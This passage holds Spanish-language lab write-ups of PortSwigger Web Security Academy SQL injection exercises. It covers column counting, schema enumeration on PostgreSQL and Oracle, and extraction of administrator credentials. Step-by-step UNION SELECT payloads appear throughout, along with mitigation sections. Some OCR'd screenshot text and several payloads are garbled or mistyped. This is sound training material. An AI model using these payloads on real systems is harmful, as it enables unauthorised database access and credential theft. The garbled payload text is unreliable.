consulta original de la aplicacién. Para que funcione, tu consulta inyectada debe cumplir
dos requisitos:
1. Mismo nuimero de columnas: Debes determinar cuantas columnas devuelve la
consulta original (usando ' ORDER BY X-- o ' UNION SELECT NULL, NULL--).
2. Tipos de datos compatibles: Debes encontrar qué columnas aceptan datos de tipo
texto para poder visualizar los nombres de usuario y contrasefas.

B. Enumeracion de Esquemas (Non-Oracle)
A diferencia de Oracle (que usa vSversion o all_tables), en bases de datos como MySQL o
PostgreSQL, la informacidn sobre la estructura se encuentra en el information_schema:
e Tablas: Se consultan en information_schema.tables para encontrar nombres como
users_abcde.
e Columnas: Se consultan en information_schema.columns para encontrar campos
como username_123 y password_456.

C. Diferencias de Sintaxis
Como se menciona en los recursos, el contexto técnico varia segun el motor:
e Comentarios: En MySQL se usa # o -- (con espacio), mientras que en
PostgreSQL/MSSQL se usa --.



e Sin tablas duales: En estas bases de datos no necesitas la clausula FROM dual para
realizar pruebas de columnas, simplificando los payloads de prueba.

3. IDENTIFICACION DE LA VULNERABILIDAD

La vulnerabilidad fue identificada al momento de intentar la inyeccién de SQL dentro de la
barra de busqueda.

Mediante Burpsuite se logré hacer prueba y error para identificar el tipo de datos que se
tienen dentro de la columna de la seccién seleccionada. Después de esto, se hizo uso de
comandos para obtener la versidn de la base de datos.

4. HERRAMIENTAS UTILIZADAS
Herramientas empleadas durante el laboratorio:

e Burp Suite
e Navegador web
e Plataforma PortSwigger Web Security Academy

Burp Suite se utilizé para interceptar las peticiones HTTP enviadas al servidor, permitiendo
modificar los pardmetros y probar diferentes payloads de SQL Injection.

5. PROCEDIMIENTO PASO A PASO

1. Iniciamos Burpsuite y mandamos la request de nuestra pagina a nuestro repeater.

2. Aquivamos a intentar hacer una inyeccién de prueba para determinar la cantidad
de columnas y el tipo de dato de estas.Aqui podemos ver que funciona
correctamente inyectando la sentencia de ‘ORDER BY 1 - - y que contamos
nuevamente con solo 2 columnas en la tabla.

3. Ahora vamos a obtener la version de la BD que estamos usando, para esto vamos a
ejecutar el comando SELECT @ @version dentro de UNION SELECT para determinar
la version de la BD.

4. Con esta informacién podemos ver que la BD es una PostgreSQL, por lo que vamos
a usar el comando “SELECT table_name, NULL FROM information_schema.tables”
para saber cuales tablas hay en nuestra BD. Y puesto que necesitamos 2 columnas,
vamos a usar la columna table_name y NULL para este caso.

5. Y una vez copiamos el link del repeater en nuestro navegador, la consulta debe
poder verse y darnos los nombres de las tablas.



6. Ahora tenemos que consultar las columnas de la tabla users_tsxdtp haciendo uso
de la Query SELECT column_name, NULL FROM information_schema.columns
WHERE table_name = 'users_tsxdtp'. Y con esto podemos ver los nombres de las
columnas de nuestra tabla

7. Y de esta consulta, el nombre de los campos username_ehtexd y
password_dwlwcx. Por lo que para ver sus contenidos, vamos a insertar la consulta
“SELECT username_ehtexd, password_dwlwcx FROM users_tsxdtp”

8. Nuevamente mandamos el link de nuestro repeater a nuestro navegador

9. Podemos el contenido de las tablas y las credenciales de los usuarios, en el caso
del administrador son “administrator” y “y69j5ffcivyqncos79vi”. Por lo que vamos
air a la seccion de Login para iniciar sesion con las credenciales del administrador.

10. Ingresamos los datos obtenidos en la seccion de Login

6. PAYLOAD UTILIZADO

‘UNION SELECT username ehtexd, password dwlwcx FROM users tsxdtp

7. EXPLICACION DEL PAYLOAD

Este payload contiene una busqueda de los usuarios y contraseiias dentro de la tabla de
users. La tabla y las columnas contienen nombres randomizados, los cuales fueron
obtenidos previamente a la explotacién del sistema.

Componente Funcion Técnica

' | Cierra la consulta legitima para poder "inyectar" la tuya.
UNION SELECT | Une los resultados de la busqueda de productos con los
resultados de la tabla de usuarios.
username_ehtexd | Es el nombre de la columna que contiene los nombres de
usuario. (Nota: Tiene un sufijo aleatorio, comun en laboratorios
para evitar respuestas predecibles).
password_dwlwcx | Es el nombre de la columna que contiene las contraseiias (o
hashes).

FROM | Indica la tabla especifica de donde se roban los datos.
users_tsxdtp




8. RESULTADO DEL ATAQUE

Después de enviar la solicitud modificada con el payload de SQL Injection, el sistema
permitié obtener de manera exitosa la informacién de la tabla de usuarios, lo cual resulto
exfiltracidon de las credenciales de los usuarios, incluido el administrador del sistema.

Esto confirmd que la vulnerabilidad de SQL Injection en el sistema de querys fue explotada
correctamente, lo que resulto en el inicio de sesién con las credenciales del administrador.

9. EVIDENCIAS
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10. IMPACTO DE LA VULNERABILIDAD
Si esta vulnerabilidad existiera en un sistema real, podria permitir:

e Acceso no autorizado a cuentas de usuarios
e Acceso a cuentas administrativas

e Robo de informacién sensible

e Manipulacion o eliminacién de datos

e Compromiso total del sistema

La obtencidn de credenciales mediante un ataque de UNION es una vulnerabilidad muy
critica porque permite a un atacante obtener acceso directo al sistema vy a las credenciales
de los usuarios.



11. MITIGACION

Para mitigar ataques de inyeccién SQL en una barra de busqueda, la medida mas efectiva
es utilizar consultas preparadas (sentencias parametrizadas).

e Consultas Preparadas (Sentencias Preparadas)

e Validacidon y Saneamiento de Entradas:

o Validacidén: Asegurar que la entrada coincida con el tipo, longitud y formato
esperado (ej. solo niUmeros, sin caracteres especiales).

o Saneamiento (Escapado): Limpiar caracteres especiales como comillas
simples ('), guiones (--), y puntos y coma (;) antes de la consulta. Funciones
como real_escape_string() en PHP pueden ser Utiles.

e Principio de Minimo Privilegio
e Uso de ORMs: Utilizar ORMs (Object-Relational Mappers) que suelen parametrizar
consultas automaticamente.

12. CONCLUSION DEL LABORATORIO

Este laboratorio demuestra que, una vez confirmada la vulnerabilidad UNION, el atacante
no esta limitado a ver datos superficiales; puede navegar por el "diccionario de datos" del
sistema (como information_schema) para reconstruir el mapa mental de tablas y columnas
ocultas.

A diferencia de los laboratorios anteriores que solo buscaban la version del software, esta
escala el impacto hacia el robo de identidades, permitiendo extraer credenciales
administrativas (administrator) y comprometer la seguridad de las cuentas de usuario.
Finalmente, |la extraccién de la cadena de versidn no es solo un ejercicio académico; permite
a un atacante identificar vulnerabilidades conocidas (CVEs) especificas para esa versién del
motor, facilitando ataques posteriores mas complejos.



LABORATORIO 6

Nombre del laboratorio: Ataque de inyeccidn SQL, que enumera el contenido de la base
de datos en Oracle

Nivel: Practitioner

Tipo de ataque: Union-based

1. OBJETIVO DEL LABORATORIO

Explotar la vulnerabilidad de inyeccidon SQL en el filtro de categoria de producto. Los
resultados de la consulta se devuelven en la respuesta de la aplicacién para que pueda
utilizar un ataque UNION para recuperar datos de otras tablas.

2. CONTEXTO TECNICO

El ataque contiene una funcidon de inicio de sesidn y la base de datos contiene una tabla
gue contiene nombres de usuario y contrasefas. Recuperar el contenido de la tabla para
obtener las credenciales de todos los usuarios.

e El pardmetro de la aplicacién es vulnerable: Usuario Administrador

e Laconsulta SQL que se ejecuta el servidor: UNION SELECT

e Qué ocurre cuando la aplicacién no valida correctamente las entradas del usuario:
el atacante explota una vulnerabilidad de inyeccidn SQL para extraer informacién
estructural (tablas, columnas, datos) de la base de datos.

3. IDENTIFICACION DE LA VULNERABILIDAD

Ingresar algun payload en la URL, si presenta algun tipo de los casos:

e Mostrar datos inesperados.
e Logueo sin contrasefia.
e Muestra errores SQL como ORA-00936, ORA-00904, ORA-01789, etc.



4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

e Burp Suite

e Navegador web

e Plataforma PortSwigger Web Security Academy
Burp Suite es una plataforma de ciberseguridad desarrollada por PortSwigger para realizar
pruebas de penetracidn y analisis de vulnerabilidades en aplicaciones web, actuando
como proxy entre el navegador y el servidor para interceptar y modificar trafico HTTP/S en
tiempo real.

5. PROCEDIMIENTO PASO A PASO

I Copiamos la URL y la pegamos en BURP SUITE
Il. Cuando intercepte paquetes hacia el servidor, seleccionamos la direccién que
contenga: category=, clic derecho y seleccionamos Repeat
Il. En la url colocamos ‘ después del ultimo cardcter y clic en SEND

V. Saldra el siguiente error: HTTP/2 500 Internal Server Error
V. Posteriormente se colocard '+order+by+1-- después de gift. Se repetira hasta que
vuelva a marcar error
VI. En seguida, se utilizard '+UNION+SELECT+table_name,+NULL+FROM+all_tables-- y
de nuevo SEND
VILI. En la parte izquierda de BURP SUITE, buscamos
<th>USERS_PMYEOO</th>
VIII.
Ahora, se utilizara
"+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table n
ame+%3d+'USERS_SDENDQ’-- y de nuevo SEND
IX. Otra vez, en la parte izquierda de BURP SUITE, buscamos

<th>PASSWORD_"contrasefia” </th>y <th>USERNAME_"usuario”</th>
X. Ahora se utilizara
'+UNION+SELECT+USERNAME_"usuario”</,+PASSWORD_"contrasefia”
+from+USERS_SDENDO-- y de nuevo SEND
XI. Volvemos a buscar en la parte izquierda, usuario y contrasefia
XII. Una vez localizados, volvemos a la pagina e ingresamos los datos obtenidos



6. PAYLOAD UTILIZADO

UNION SELECT

7. EXPLICACION DEL PAYLOAD

El payload UNION SELECT es una técnica de inyeccidon SQL para enumerar y extraer datos
de una base de datos Oracle.

UNION SELECT permite combinar resultados de dos consultas SQL. El atacante lo usa para:

1. Descubrir la estructura de la base de datos.
2. Extraer datos sensibles (usuarios, contrasefias, etc.).

8. RESULTADO DEL ATAQUE

Se extrajo informacién de los usuarios de tablas del sistema: El nombre de la tabla, como
el usuario y contrasefa

9. EVIDENCIA:

Request interceptado en Burp Suite

SRS AN M Requent T ML GG G CoA A TegeS MewEN pugh arveriiny T I EITL S e 17T TRIOIT 1M e 11000 e 17 TIEDSRII SN e PITIVA gt « GO,
SAAET ML TR * Reguent ~ 43 AR50 DM 200070 50 Re I J00C2 | THII0G00CR0. med a0ur ey 2CASImY et BLaSemyLadMesder

WebSecurlty SQL injection attack, listing the database contents on Oracle BB ot soved

Academy <

e Parametro vulnerable



Fretty R Hex B v Pretty Raw M Rersder B -

GIT siilverToatsgory=Corporaceigliceiorderdlnyél HITFFD HTTRSZ 1 HITF/Z 200 K

Best: Calf00di03a8Tdeld0c4lceedd fd00Le . val-saour ITy- seademy . st Congent-Type: cevc/homl; charsegsyi-§

Coekin! sesniens M TqRLADI0PNEEe (S ARy COSST1TOMNE Est~Cookis: seinionaTplILvilyhyrrdbR T MalvCE [qlooMEICE! Secure)

| Sac=Ch=0Os: "ChromivmT ;v="1451", "Notc:A-Hramd” y="90" Heepinmly: SamsSits=Noms

Fer-Ch-Da-Habila: 70 i X-Frams-Cprions: SAHEORIGIN

See-Ch-Da-Platform! “Windews® Content-langth: 7117

Accept=Langqeage: su=419 su;qel, ¥

Dpgrade=Tnsssare=Requescs; 1 + I BCTYRE homls

[ ] Peer-hgent: Bemilladi. 0 (Windows W 00.0: Windd: edd) dhomis

Kequest Kesponse

Pretty  Raw  Hex ; \n = Pretty Raw  Hex  Render
GET /tilter?category=forporatetgifcs'torderthydi~-- HITP/Z HITRP/Z L HTTP/Z 500 Internal Server Error
Host: Oalf00dlOZac74clf0Zdlcee00£d00lc. veb-security-acadeny. net . Content-Type: text/html; charsetsutt-8
Cookie: session=QlMITBLADIOPNDECISARYCQS931YENI 3 X-Frame-Options: SAMEORICIN
Sec-Ch-Ua: "Chromius™ vs"145%, "Nov:A-Brand™ vs"s5s5* i\ Content-Length: 5538

e Payload utilizado
'+UNION+SELECT+table_name,+NULL+FROM+all_tables--

GET /Jfilter?category=

Corporatetgifts '+UNION+EELECT+Cable name, tHULL+FROM+all tables——
HTTP/Z HTTP/Z

Tabla de usuarios: SDENDO

'+UNION+SELECT+column_name,+NULL+FROM-+all_tab_columns+WHERE+table_
name+%3d+'USERS_SDENDO'—

<for>
<tr>

<th>TUSERNAME MCANOW=/th>
2l v

GET ffilkerlcategory= screens and have had a folding keyboard for yonks, give me a
Corporatetgitos' {UNIONISELECTooluan nane, SWULL4TROMbALL tab_colusn gians Blackberry any day!e/vd

SHHEREfCable_nawetd 3d+ USERS_SDEWDO-- HITR/Z o

Host: Dalf00d103agT4clB0Z4lcee0Didd0le. veb-securivy-acadeny net el sere

Coskie: session=Vemglolezailteh DHeTBZARMLTwgEEVA 124 <ch*PASSWIED_WOJBY]</the

Usuario: MCANOW

Password: WUJBYQ

'+UNION+SELECT+USERNAME_MCANOW,+PASSWORD_WUIJBYQ+from+USERS_S
DENDO—

ir®
<thradministrator</th>
“<td>*3welBsEljEll%icnsxETy</td>

PR

USUARIO: administrator
Contraseia: 3we8s6l1j5119icnsx67y

e Respuesta del servidor

Acceso



e Confirmacion Lab Solved

- SQL injection attack, listing the SoNe
Web SECU!"W database contents on Oracle = :
Academy |+ |

10. IMPACTO DE LA VULNERABILIDAD

El impacto de una vulnerabilidad de inyeccion SQL, puede ser catastrofico y en tiempo
real, afectando tanto a la organizacién como a sus usuarios.

Los datos sensibles de los usuarios estarian comprometidos, a su vez, podria haber
sanciones econdmicas como legales.

11. MITIGACION

Algunas medidas preventivas, podrian ser:

Parchear inmediatamente con consultas parametrizadas o ORM.
II.  Cambiar contrasefias de cuentas comprometidas.
[ll.  Auditar logs para identificar el alcance del ataque.
IV.  Notificar a usuarios si hubo filtracion de datos.
V. Implementar WAF y monitoreo en tiempo real.

12. CONCLUSION DEL LABORATORIO

Un ataque de inyeccién SQL en Oracle que utiliza UNION SELECT y consultas a diccionarios
de datos como all_tables y all_tab_columns permite a un atacante descubrir toda la
estructura y contenido de |la base de datos en minutos, incluso sin conocer contrasefias ni
tener acceso directo



LABORATORIO 7

Nombre del laboratorio: Atague UNION de inyeccién SQL, que determina el nimero de
columnas devueltas por la consulta

Nivel: Practitioner

Tipo de ataque: Union-based

1. OBJETIVO DEL LABORATORIO

La vulnerabilidad de inyeccién SQL en el filtro de categoria de producto. Los resultados de
la consulta se devuelven en la respuesta de la aplicacién, por lo que puede utilizar un
atague UNION para recuperar datos de otras tablas. El primer paso de un ataque de este
tipo es determinar la cantidad de columnas que devuelve la consulta. Luego se utilizara
esta técnica para construir el atague completo.

2. CONTEXTO TECNICO

En un ataque de inyeccién SQL con UNION, uno de los primeros pasos criticos es
determinar el nimero de columnas que devuelve la consulta original. Esto es necesario
porgue UNION solo funciona si ambas consultas tienen el mismo nimero de columnas y
tipos compatibles.

3. IDENTIFICACION DE LA VULNERABILIDAD

Ingresar algun payload (' OR 1=1--, '--) en la URL, si presenta algun tipo de los casos:

e Mostrar datos inesperados.
e Logueo sin contrasefia.
e Muestra errores SQL como ORA-00936, syntax error, column count mismatch, etc.

4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

e Burp Suite



e Navegador web

e Plataforma PortSwigger Web Security Academy
Burp Suite es una plataforma de ciberseguridad desarrollada por PortSwigger para realizar
pruebas de penetracidn y analisis de vulnerabilidades en aplicaciones web, actuando
como proxy entre el navegador y el servidor para interceptar y modificar trafico HTTP/S en
tiempo real.

5. PROCEDIMIENTO PASO A PASO

Al final de la cadena de la URL, colocamos *

Al marcar un error, se usara la siguiente indicacion '+UNION+select+NULL--
Volvera a marcar un error le agregamos otro campo, para saber el nimero de
columnas Al marcar un error, se usara la siguiente indicacion
'+UNION+select+NULL, +NULL, +NUL--

6. PAYLOAD UTILIZADO

'+UNION+select+NULL--

'+UNION+select+NULL, +NULL, +NULL--

7. EXPLICACION DEL PAYLOAD

Son parte de una técnica de inyeccién SQL con UNION usada para determinar cudntas
columnas devuelve la consulta original de la aplicacién.

8. RESULTADO DEL ATAQUE

e Enla consulta original se pensé que era 1 columna, hubo error.
e Enlas siguientes consultas hubo mas de 1, se necesita mas columnas.
e Al saber que eran 3 columnas, la aplicacién muestra datos



9. EVIDENCIA:

Request interceptado en Burp Suite

GET /filter?category=Corporatetgifcs'+UNION+select+lIULL-—- HTTP/Z

Host: Dacal0abl3d3d23380044e£f800030058  web-security—academy. net

Cookie: session=USCghiMiZPpUpgqwACA43UT0CHEAE]ERSR

Sec-Ch-TUa: "Chromium";w="145", "Not:A-Brand";w="395"

Sec—-Ch-Ua-Mokile: 70
Sec—-Ch-Ta-Plat form: "Windows"
Aocept-Language: es-4159,es;q=0_9
Upgrade-Insecure—Requests: 1

User-Agent: Mozilla/5. 0 (Windows NT 10.0; Wingd;
Chrome/145.0.0.0

AppleWebFitc /537.326 (FHTHML, like Geckol
SafarifE37. 36
Accept:

xE4)

text/htnl.,application/xhtmltxnl  application/xnl;oa=0.9, inage/ avif.

Parametro vulnerable

GET /tilter?cacegory=Corporacetgiics  +UNIONtseleco+WULL-- HTTR/2
Host: DacadlaS0343d733800444 300030058 . web-sacuricy-acadesy, RaE

Cookie: sessicnsUSCghiMSIPpUpquACA4 IO CHEARJGRSR
Sec=Ch=Ua: "Chromivms® ;w="145%, “"Not:A=-Brand®;ve="99=

Payload utilizado
'+UNION+select+NULL, +NULL, +NUL--

CET fiilesrlcategory=

Corporatedglics " $UMMION+selact $NULL , 4HULL, H‘vl'l.lLL--l HITP/Z
Hoat: Dacallabd3d3473380044« 800030058, wek—securicy-acadsesy nat

Cookie: sessionULCghiMEsZPpUpquACA4IVOZHFAEJEpSR
Sec-Ch-Ta: "Cheomium® ws* 145", "Hoc:A-Brand® vs=55=
Sec=Ch=TUa=Hobile: *0

Sec-Ch-Ta-Flacform: “Windows®

Respuesta del servidor

CET /iilesEtoategarys

Corporatedglics  $UMION4select #HULL , 4 HUILL , +HULL= -I HITP/Z
Hott ! DacalDasS03d3473380044« 800030056, wab-securicy—acadsmy nac

Cookie: sessioneUsCghiMSZPpUpgquACA43IV0CNKAEJEpSy
Sec-Ch-Ta: "Cheemius® ws"145"  "Hoto:A-Brand®;w="55"
Sec=Ch=Ta=Hcbile: 0

Sec-Ch-Ta-Flacform: “Windows"™

Confirmacion Lab Solved

: SQL injection UNION
Web SECUI’Ity attack, determining the
number of columns

Academy|+ ]

i ¥M=Frame-0Opeioms:
Cont ent =Length:

HITF/Z 500 Internal Server Error
caxe /hral;

SAMEORICIN
5548

Coneant-Type:

1 HITR/Z 20D

0K

eharsecsuc £-3

Content=Type: text/html; charset=utf-8

i HM-FEame-0pCions:
Content=Length: 8189

<'DOCTYRFE heml>

heslx

O

returned by the query

2

o
§
&
L..- =

b
i

e
s

SAMECRICIN

Solved
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l ;ae,‘. Y
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10. IMPACTO DE LA VULNERABILIDAD

Su impacto no es solo técnico, por que habilita ataques posteriores de extraccion masiva
de datos.

11. MITIGACION

Algunas medidas que podrian emplearse, serian:

Usar consultas parametrizadas - evita que el usuario controle la estructura SQL.
Validar entradas - rechazar caracteres como ', --, UNION, ORDER BY.

Limitar permisos de base de datos - el usuario de la app no debe poder leer
metadatos.

WAF (Web Application Firewall) - bloquea patrones de ORDER BY N-- o UNION
SELECT

12. CONCLUSION DEL LABORATORIO

La inyeccidon SQL, especialmente con técnicas como UNION SELECT y ORDER BY, es una de
las vulnerabilidades mas peligrosas en aplicaciones web. Permite a un atacante descubrir
la estructura de la base de datos, extraer datos sensibles y tomar control total del sistema
en minutos. El impacto puede ser inmediato, econdmico, legal y reputacional.



LABORATORIO 8

Nombre del laboratorio: atague UNION de inyeccion SQL, busqueda de una columna que
contiene texto

Nivel: Practitioner

Tipo de ataque: Union-based

1. OBJETIVO DEL LABORATORIO

Realizar un ataque UNION de inyeccidn SQL que devuelva una fila adicional que contenga
el valor proporcionado. Esta técnica le ayuda a determinar qué columnas son compatibles
con los datos de cadena.

2. CONTEXTO TECNICO

Una vez que el atacante determina el nimero de columnas (por ejemplo, con UNION
SELECT NULL, NULL, NULL--), el siguiente paso es identificar qué columna puede contener
datos de tipo texto -- ya que es la que se usard para extraer informacién legible como
nombres de tablas, usuarios o contrasefas.

3. IDENTIFICACION DE LA VULNERABILIDAD

Ingresar el payload ' UNION SELECT NULL-- en la URL, si presenta algun tipo de los casos:

e Muestra un error.
e No muestra error, no devuelve datos.
e Devuelve datos o una pdgina modificada

4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

e Burp Suite
e Navegador web



e Plataforma PortSwigger Web Security Academy
Burp Suite es una plataforma de ciberseguridad desarrollada por PortSwigger para realizar
pruebas de penetracidn y analisis de vulnerabilidades en aplicaciones web, actuando
como proxy entre el navegador y el servidor para interceptar y modificar trafico HTTP/S en
tiempo real.

5. PROCEDIMIENTO PASO A PASO
Copiamos la URL y la pegamos en BURP SUITE
Cuando intercepte paquetes hacia el servidor, seleccionamos la direccion que
contenga: category=, clic derecho y seleccionamos Repeat
En la url colocamos ‘ order by 1 después del Ultimo caracter y clic en SEND, esto se
hard hasta que marque error, por ello, se debe de irincrementando
Cuando marque error se colocara: ‘UNION select NULL, * “cadena” ’, NULL --

Se haran un serie de combinaciones, en lo que marca error, posteriormente, la
pagina mostrara la cadena que debe ir.

6. PAYLOAD UTILIZADO

‘UNION select NULL, “ “cadena” ', NULL --7. Explicacion del payload

7. EXPLICACION DEL PAYLOAD

Esta disefiado para hacer un ByPass a las validaciones y extraer datos mediante una
clausula UNION

8. RESULTADO DEL ATAQUE

Visualizacién de la cadena en pantalla, dentro de la pagina

9. EVIDENCIA:

Request interceptado en Burp Suite



Request

Pretty Raw Hex &

1 GET ffilter?ecategory=Corporatetgifts HTITP/Z

2 Host: 0abd00e00306k1028104ckL£000200098  web-security-acadeny. net
3 Cookie: session=gletAFIQJETEGoT7RAShI1SENcqrFwxal

4 Bec-Ch-Ta: "Chromium";w="145", "INot:A-Brand";w="55"

Sec-Ch-Ta-Mokile: 20

n

¢ Sec-Ch-Ta-Platform: "Windows"

T Accept-Language: es-41%,es;g=0_.9

2 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4)

AppleWeb¥it /53736 (FHTML, like Gecko) Chrome/145.0.0.0
Safari/537. 36

0 Accept:
text/htnl , application/xhtmnltxm] , application/xml;qgq=0._9,image/avif,
image/webp, image/Sapng, */*;q=0_8,application/signed-exchange ;v=h3;
g=0.7

.1 Bec-Fetch-5ite: same-oriain

e Paradmetro vulnerable

GET /tiltertoatsgorysCorporatedglitios'order by 1-- HITR/Z 1 HITRSZ 200 OK

Host: 0aSd00e0030Eb10Z0104E0 000200050, veb=secur ity=acadewy. net 2 Content=-Type: text/html; charsstsucf{=-0
Coockie: sessionsglecAFIJJETECeTRAERT 1 EZ e g weal. 2 H-Frams-Cpoicms: SAMECRICIN
Sec=Ch=Ua: “"Chromium®;v="L45", “"Hot:A=-Brand® v="95" 4 Content=Length: £9571

Sec-Ch-Ua-Mabile: 70 &

e Payload utilizado
‘UNION select NULL, “ *, NULL --
‘UNION select NULL, ‘Ufj32W’, NULL--

Pritty Raw Héx ] \n = Prétty Pl Heéx Render

L GET /ftilver?categorysCorporatetgifosUNION select L HITR/Z 200 0K
HULL . Wij3TW, HULL-- HITRSZ 2 Content-Type: texc/htal; charsscsus -G
Host: 0abd00e00208b1020L04E0L000200090 . veb=security=-academy. net H=Frame=0pticns: SAMEORIGIN

: Cookie: sessioneglecAFIQJISTEGoTRAShILSINCqrEwal 4 Contcent-Length: &£959&

| BamelecTTa: R e inee® = =1 AR SEam o koD sl ® o S Q0 :

e Respuesta del servidor

GET Sfiltertcacegory=Corporacetgifcs " UNION select I HITP/2 200 OF

NULL, "U£332W' ,NULL=-- HTTR/Z 2 Content-Type: text/htal; charsecsuci-3
Host: 0a5400e00306b10Z68104EL10002000598 . web-securicy-acadeny. net i X-Frame-Options: SAMEORIGIN

Cookie: session=gletAFIJJS3TECoTRAShILSINc g Fwxal 4 Content-Length: 5277

Sgc=Ch=Ua: "Chromium®;we"]1458", "Hot:A=Brand®;we®55" g

e Confirmacion Lab Solved

SQL injection UNION g8 <.1e |
Web Security attack, finding a s v A

Academ column containing text

Back to lab description




10. IMPACTO DE LA VULNERABILIDAD

El impacto de un ataque UNION SQL enfocado en encontrar columnas de texto es
especialmente critico porque es el paso que habilita la extraccion de datos legibles y
sensibles.

11. MITIGACION

Evitar que el input del usuario se interprete como cddigo SQL, y en limitar el dafio si la
vulnerabilidad existe.

Medidas recomendadas:

1. Usar consultas parametrizadas

2. Validar y sanitizar entradas

e Bloquear caracteres peligrosos como ', --, UNION, SELECT, NULL.
e Usar caracteres permitidos (ej. solo letras, nimeros, guiones).
3. Usar ORM (Object-Relational Mapping)

e Herramientas como Django ORM, SQLAIchemy, Sequelize, TypeORM generan
consultas seguras automaticamente.
4, Limitar permisos de la cuenta de base de datos

12. CONCLUSION DEL LABORATORIO

La técnica de busqueda de una columna que contiene texto en un ataque UNION SQL es
un paso critico y automatizable que permite extraer datos sensibles (como tablas,
columnas, usuarios y contrasenas) de una base de datos vulnerable.



LABORATORIO 9

Nombre del laboratorio: SQL injection UNION attack, retrieving data from other tables
Nivel: Practitioner
Tipo de ataque: Union-based SQL Injection

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es explotar una vulnerabilidad de SQL Injection en el filtro
de categorias de productos para realizar un ataque de tipo UNION. Se busca extraer
informacidn sensible (nombres de usuario y contrasenas) de una tabla distinta a la de la
consulta original (users) para obtener las credenciales del usuario administrator y acceder
al sistema.

2. CONTEXTO TECNICO

La aplicacidn utiliza un filtro de categorias para mostrar productos al usuario. El valor del
pardmetro category se concatena directamente en una consulta SQL sin la debida
sanitizacion.

e Parametro vulnerable: category (enviado via GET).

e Consulta probable: SELECT name, description FROM products WHERE category =
'[INPUT]' AND released =1

e Comportamiento: Al no validar la entrada, el atacante puede cerrar la comilla de la
cadena y usar el operador UNION para combinar los resultados de la consulta
original con los de una consulta personalizada a la tabla users.

3. IDENTIFICACION DE LA VULNERABILIDAD

Se detectd la vulnerabilidad al manipular el pardmetro de la URL. Al introducir un caracter
especial ' después de la categoria, el servidor devuelve un error o un comportamiento
inesperado, confirmando que la entrada se procesa en la base de datos. Posteriormente,
se determind el nimero de columnas necesarias para el ataque UNION usando: ' ORDER
BY 2-- (Funciona) ' ORDER BY 3-- (Error), confirmando que la consulta original devuelve 2
columnas.



4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

e Burp Suite
e Navegador web
e Plataforma PortSwigger Web Security Academy

Burp Suite se utilizé para interceptar las peticiones HTTP enviadas al servidor, permitiendo
modificar los parametros y probar diferentes payloads de SQL Injection.

5. PROCEDIMIENTO PASO A PASO

Describir claramente el proceso realizado.
Ejemplo de estructura:

1. Se accedié a la pagina del laboratorio y se selecciond una categoria de
productos (ej. Accessories).

2. Seintercepté la peticién GET con Burp Suite.

Se envié la peticidn al Repeater.

4. Se determiné el nimero de columnas y cuales aceptan datos de tipo texto
mediante: ' UNION SELECT 'abc','def'--

5. Una vez confirmado que ambas columnas son de texto, se procedid a extraer
los datos de la tabla users.

6. Seinyectd el payload para obtener username y password.

7. Se analizo la respuesta HTTP para localizar las credenciales del usuario
administrator.

8. Se utilizaron las credenciales obtenidas en la pagina de Login del laboratorio.

w

6. PAYLOAD UTILIZADO

' UNION SELECT username, password FROM users--



7. EXPLICACION DEL PAYLOAD

' Cierra la cadena de texto de la consulta original para la categoria.

UNION: Operador SQL que permite combinar los resultados de dos o mas sentencias
SELECT.

SELECT username, password FROM users: Esta es la consulta maliciosa que extrae las
columnas de nombres de usuario y claves de la tabla de usuarios.

--: Comenta el resto de la consulta original para evitar errores de sintaxis (como la comilla
de cierre original).

8. RESULTADO DEL ATAQUE

Tras enviar el payload, la pagina web renderizé (junto a los productos habituales) una lista
de todos los usuarios y contrasenas almacenados en la base de datos. Se identifico la
entrada administrator con su respectiva clave. Al introducir estos datos en el formulario
de inicio de sesion, se logro el acceso con privilegios de administrador y el laboratorio se
marcd como Lab Solved.

9. EVIDENCIA:

1 x + oA
m &  Cancel <~ + BurpAl Target: hitp: 0435c79980a 2.web-security-acad et £ w2
Request Response = =  inspector oI S X g
Pretty  Raw  Hex = W = Prety Raw  Hex  Render = N = Selection NEde) A B
1 GET /filter?category-Accessories’'%200R3201%3d1%20.. HITP/Z L HITP/Z 500 Internal Sezver Error Selected text 2
2 Host: 2 Content-Type: text/htul; charset=utf-g 2
0aEAD0dc0435c79980a52688004L00d2 . web-security-acadsny. net % ¥-Frame-Options: SAMEORIGIN . |4200RE20153d157
3 Cookie: session-EIpnEck40nTlyD0x10Bngl7gF5SERTOS 4 Content-Length: 2485 pcceasoriea R A00RAZ0LAIAIAZ0. .
4 Sec-Ch-Ua: "Chromium”;v="145", "Not:A-Brand”;v="gs" 5
S Sec-Ch-Ua-Mobile: 20 ¢ <!DOCTYPE htul> E
© Sec-Ch-Ua-Platforn: “Windows" 7 <ntal> Decoded from: URL encoding ®
7 hecept-language: es-ES,=s;q=0.8 <1--LAB_HEAD_START--> z
© Upgrade-Insscuce-Requests: 1 <head> Accessories' OR 1=l .. E
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x€4) <link href=/resources/labheadsr/css/acadsmylabHeader. css ]
AppleWebEit/537.36 (KHTHL, like Gecko) Chrome/145.0.0.0 rel=stylesheet>
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10. IMPACTO DE LA VULNERABILIDAD

o Exfiltracion de datos sensibles: Acceso total a la base de datos de usuarios.

e Suplantacion de identidad: Al obtener contrasefias en texto plano (o hashes), el
atacante puede tomar control de cuentas administrativas.

e Compromiso de integridad: El atacante podria, en otros escenarios, modificar o
borrar informacién.



11. MITIGACION

e Consultas parametrizadas (Prepared Statements): Es la defensa mas efectiva, ya
gue separa el codigo SQL de los datos proporcionados por el usuario.

e Validacién de entradas: Implementar una "lista blanca" (allowlist) de categorias
permitidas.

e Principio de minimo privilegio: Asegurar que el usuario de la base de datos que usa
la web no tenga permisos de lectura sobre tablas sensibles si no es estrictamente
necesario.

12. CONCLUSION DEL LABORATORIO

Este laboratorio demuestra la peligrosidad de los ataques UNION-based. Se comprobd
que, si una aplicacién muestra resultados de una base de datos directamente en pantalla,
un atacante puede "enganar" al sistema para que muestre informacion de cualquier otra
tabla, comprometiendo totalmente la confidencialidad de los datos de la organizacion.



LABORATORIO 10

Nombre del laboratorio: SQL injection UNION attack, retrieving multiple values in a single
column

